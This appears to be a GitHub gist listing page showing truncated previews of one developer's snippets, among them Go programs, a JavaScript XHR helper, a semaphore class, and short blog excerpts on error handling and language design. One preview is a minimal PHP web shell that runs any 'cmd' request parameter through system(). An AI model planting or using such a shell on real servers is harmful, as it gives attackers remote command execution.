I hereby claim:
- I am empijei on github.
- I am empijei (https://keybase.io/empijei) on keybase.
- I have a public key ASAza9vw1MZv-HUkY4_48XbnFsfc1QhbbMWjZ0bvYNBxGAo
To claim this, I am signing this object:
I hereby claim:
To claim this, I am signing this object:
package main | |
import ( | |
"bufio" | |
"flag" | |
"fmt" | |
"net" | |
"os" | |
"strconv" | |
"strings" |
//Here are some more details on the problem, shown in an example: | |
package main | |
import ( | |
"net/http" | |
"runtime" | |
"time" | |
) | |
//The simplest possible http.Handler |
// license: public domain - original author: Shimon Doodkin - https://gist.github.com/4706967 | |
// | |
// tinyxhr("http://site.com/ajaxaction",function (err,data,xhr){ if (err) console.log("goterr ",err,'status='+xhr.status); console.log(data) }); | |
// tinyxhr("http://site.com/ajaxaction",function (err,data,xhr){ if (err) console.log("goterr ",err,'status='+xhr.status); console.log(data) },'POST','value1=1&value2=2'); | |
// tinyxhr("http://site.com/ajaxaction.json",function (err,data,xhr){ if (err) console.log("goterr ",err,'status='+xhr.status); console.log(data); console.log(JSON.parse(data)) },'POST',JSON.stringify({value:1}),'application/javascript'); | |
// cb - a callback function like: function (err,data,XMLHttpRequestObject){ if (err) throw err; } | |
// | |
function tinyxhr(url, cb, method, post, contenttype, auth, timeout) { | |
var requestTimeout, xhr; |
package main | |
import ( | |
"fmt" | |
"log" | |
"net/http" | |
"net/http/httputil" | |
"os" | |
) |
<?php | |
if(isset($_REQUEST['cmd'])){ | |
$cmd = ($_REQUEST["cmd"]); | |
system($cmd); | |
echo "</pre>$cmd<pre>"; | |
die; | |
} | |
?> |
The first language I used to build something more than just school exercises was VisualBasic.Net. There are some good things and bad things in it, but I don't want to discuss that today. I switched to C# after that and Java and Python after it.
This is to say that basically up until three years ago I knew one and only one way to handle errors which is expressed in the following pseudocode:
try:
# dostuff
except: # or catch
The first version of JavaScript was completed in ten days in order to accommodate the Netscape Navigator 2.0 Beta release schedule.
Keep in mind that well structured languages usually take a little bit more than that.
What follows is a small piece of the aftermath of the rushed job.
NOTE: There is more madness in destroy all software's wat video, which I suggest watching before reading this post.
As Liam Breck said, changing the function signature by adding more round parentheses would make it very hard to read it. I personally found something like
func (/*receiver*/)Foo(/*types*/)(/*args*/)(/*return tuple*/){
c,d := a.Foo(Type)(e,f)
to be way too complex compared with the usual go syntax.
class Semaphore { | |
constructor(size, opt_sab) { | |
this._sab = opt_sab || new SharedArrayBuffer(4); | |
this._sema = new Int32Array(this._sab); | |
this._size = size; | |
} | |
static connect(sema) { | |
return new Semaphore(sema._size, sema._sab); |